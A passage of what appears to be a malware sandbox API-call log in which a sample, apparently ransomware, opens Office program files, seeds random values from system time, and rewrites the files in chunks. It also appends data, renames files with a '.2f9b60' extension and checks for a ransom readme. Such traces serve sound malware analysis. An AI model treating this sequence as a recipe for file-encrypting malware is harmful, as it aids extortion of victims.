RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cbe0 [0165.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.309] NtQueryInformationFile (in: FileHandle=0x1580, IoStatusBlock=0x3171fe78, FileInformation=0x3171fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3171fe78, FileInformation=0x3171fe88) returned 0x0 [0165.309] NtSetInformationFile (FileHandle=0x1580, IoStatusBlock=0x3171fe78, FileInformation=0x3171fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3100) returned 1 [0165.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e1e0) returned 1 [0165.347] FlushFileBuffers (hFile=0x1580) returned 1 [0166.278] CloseHandle (hObject=0x1580) returned 1 [0200.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x431d9e30 [0200.284] wcscpy (in: _Dest=0x431d9e30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0200.284] wcscat (in: _Dest=0x431d9e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0200.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0200.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9e30) returned 1 [0200.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060530) returned 1 Thread: id = 2580 os_tid = 0x20bc [0155.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp")) returned 0x20 [0155.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP", dwFileAttributes=0x20) returned 1 [0155.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XOCR3.PSP" (normalized: "c:\\program files\\microsoft office\\office14\\xocr3.psp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f4 [0155.938] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x32c9f7a0 | out: lpFileSize=0x32c9f7a0*=2105856) returned 1 [0155.938] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x2021fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.938] ReadFile (in: hFile=0x8f4, lpBuffer=0x32c9f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32c9f768, lpOverlapped=0x0 | out: lpBuffer=0x32c9f720*, lpNumberOfBytesRead=0x32c9f768*=0x4, lpOverlapped=0x0) returned 1 [0156.030] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb10 [0156.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbba0 [0156.030] NtQuerySystemTime (in: CurrentTime=0x32c9f660 | out: CurrentTime=0x32c9f660*=132462177611554000) returned 0x0 [0156.030] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x27b3f838 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x2e4e8bf4 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x26edc555 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x58ae9550 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x4151d091 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x4c0f3c22 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x2f31f921 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x26048e03 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x557d1503 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x1da7062a [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x1d2b233e [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x1df7388b [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x4ddb0619 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x6c8e237f [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x763d16f [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x6a4190cb [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x711f9217 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x70284523 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x247f9a4a [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x69d4eda2 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x6a4190cb [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x5a55148a [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x42ab31ed [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x2611a006 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x63e4f1ca [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x763d16f [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x49995cf2 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x35f0968 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x21f870c3 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0xa505075 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x43b98017 [0156.031] RtlRandomEx (in: Seed=0x32c9f650 | out: Seed=0x32c9f650) returned 0x7afb45f4 [0156.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbbd0 [0156.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24620 [0156.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc00 [0156.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0156.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbba0) returned 1 [0156.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429c09e0 [0156.049] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.049] ReadFile (in: hFile=0x8f4, lpBuffer=0x429c09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x429c09e0*, lpNumberOfBytesRead=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0156.214] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18aa0 [0156.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0156.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429fcae0 [0156.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0156.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18aa0) returned 1 [0156.216] WriteFile (in: hFile=0x8f4, lpBuffer=0x429fcae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x429fcae0*, lpNumberOfBytesWritten=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0164.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429fcae0) returned 1 [0164.601] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x102c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.601] ReadFile (in: hFile=0x8f4, lpBuffer=0x429c09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x429c09e0*, lpNumberOfBytesRead=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0164.793] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x102c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500350 [0164.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500350) returned 1 [0164.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429fcae0 [0164.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500350 [0164.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500320 [0164.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500320) returned 1 [0164.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.797] WriteFile (in: hFile=0x8f4, lpBuffer=0x429fcae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x429fcae0*, lpNumberOfBytesWritten=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429fcae0) returned 1 [0187.492] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x1fe600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.493] ReadFile (in: hFile=0x8f4, lpBuffer=0x429c09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x429c09e0*, lpNumberOfBytesRead=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.655] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x1fe600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139070 [0190.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139070) returned 1 [0190.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42df0190 [0190.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139070 [0190.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431390a0 [0190.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431390a0) returned 1 [0190.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.659] WriteFile (in: hFile=0x8f4, lpBuffer=0x42df0190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32c9f6c0, lpOverlapped=0x0 | out: lpBuffer=0x42df0190*, lpNumberOfBytesWritten=0x32c9f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42df0190) returned 1 [0190.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1aa0 [0190.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139070) returned 1 [0190.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500350) returned 1 [0190.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0190.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429c09e0) returned 1 [0190.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0190.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb90 [0190.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb90) returned 1 [0190.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb90 [0190.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb60 [0190.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0190.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0190.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebc970 [0190.880] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.880] WriteFile (in: hFile=0x8f4, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x32c9f770, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x32c9f770*=0x144, lpOverlapped=0x0) returned 1 [0201.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0201.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d40 [0201.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0d40) returned 1 [0201.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f8740 [0201.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d40 [0201.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ec0 [0201.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ec0) returned 1 [0201.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0201.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1cdb0ec0 [0201.399] sprintf (in: _Dest=0x1cdb0ec0, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ec2, _Format="%c%c" | out: _Dest="73") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ec4, _Format="%c%c" | out: _Dest="97") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ec6, _Format="%c%c" | out: _Dest="77") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ec8, _Format="%c%c" | out: _Dest="33") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0eca, _Format="%c%c" | out: _Dest="40") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ecc, _Format="%c%c" | out: _Dest="07") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ece, _Format="%c%c" | out: _Dest="15") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ed0, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ed2, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ed4, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ed6, _Format="%c%c" | out: _Dest="1d") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ed8, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0eda, _Format="%c%c" | out: _Dest="84") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0edc, _Format="%c%c" | out: _Dest="ef") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ede, _Format="%c%c" | out: _Dest="b6") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ee0, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.399] sprintf (in: _Dest=0x1cdb0ee2, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.400] RtlInitAnsiString (in: DestinationString=0x32c9f7e8, SourceString="1c73977733400715c7f5ce1d2a84efb64c8b" | out: DestinationString="1c73977733400715c7f5ce1d2a84efb64c8b") [0201.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x32c9f7b8, SourceString="1c73977733400715c7f5ce1d2a84efb64c8b", AllocateDestinationString=1 | out: DestinationString="1c73977733400715c7f5ce1d2a84efb64c8b") returned 0x0 [0201.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9da90 [0201.400] wcscat (in: _Dest=0x1b85e190, _Source="1c7397773" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1c7397773") returned="C:\\Program Files\\Microsoft Office\\Office14\\1c7397773" [0201.400] wcscat (in: _Dest=0x1b85e190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1c7397773.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1c7397773.2f9b60" [0201.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1c7397773.2f9b60", NtPathName=0x32c9f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1c7397773.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318a480 Thread: id = 2581 os_tid = 0x20c0 [0155.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml")) returned 0x20 [0155.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML", dwFileAttributes=0x20) returned 1 [0155.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8f0 [0155.950] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x32d7fe40 | out: lpFileSize=0x32d7fe40*=816) returned 1 [0155.950] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x32c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.950] ReadFile (in: hFile=0x8f0, lpBuffer=0x32d7fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32d7fe08, lpOverlapped=0x0 | out: lpBuffer=0x32d7fdc0*, lpNumberOfBytesRead=0x32d7fe08*=0x4, lpOverlapped=0x0) returned 1 [0156.052] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbba0 [0156.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc30 [0156.052] NtQuerySystemTime (in: CurrentTime=0x32d7fd00 | out: CurrentTime=0x32d7fd00*=132462177611866000) returned 0x0 [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x5f777ad2 [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x35fc8b1b [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x2e7c7b6b [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x1b6daf6a [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x69991f7 [0156.052] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x1c881209 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x3881f91b [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x312b81db [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x21eab017 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x7678fc7c [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x4dbd2650 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x7cb55303 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x3cf4fe1c [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x46de8517 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x32f16e32 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x1dc3c028 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x63fe280e [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x6dc7bd6 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x4ff67d10 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x343e37d6 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x49995cf2 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0xaf0de57 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x5998a93f [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x53a12a6 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x6992ef91 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x5243e344 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x3b3f5237 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x619737c9 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x2dd23e31 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x1738e216 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x3de88421 [0156.053] RtlRandomEx (in: Seed=0x32d7fcf0 | out: Seed=0x32d7fcf0) returned 0x1b692541 [0156.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0156.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24620 [0156.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc90 [0156.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0156.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc30) returned 1 [0156.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18910 [0156.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24620 [0156.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429c45f0 [0156.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429c8200 [0156.066] ReadFile (in: hFile=0x8f0, lpBuffer=0x429c45f0, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x32d7fcf0, lpOverlapped=0x0 | out: lpBuffer=0x429c45f0*, lpNumberOfBytesRead=0x32d7fcf0*=0x330, lpOverlapped=0x0) returned 1 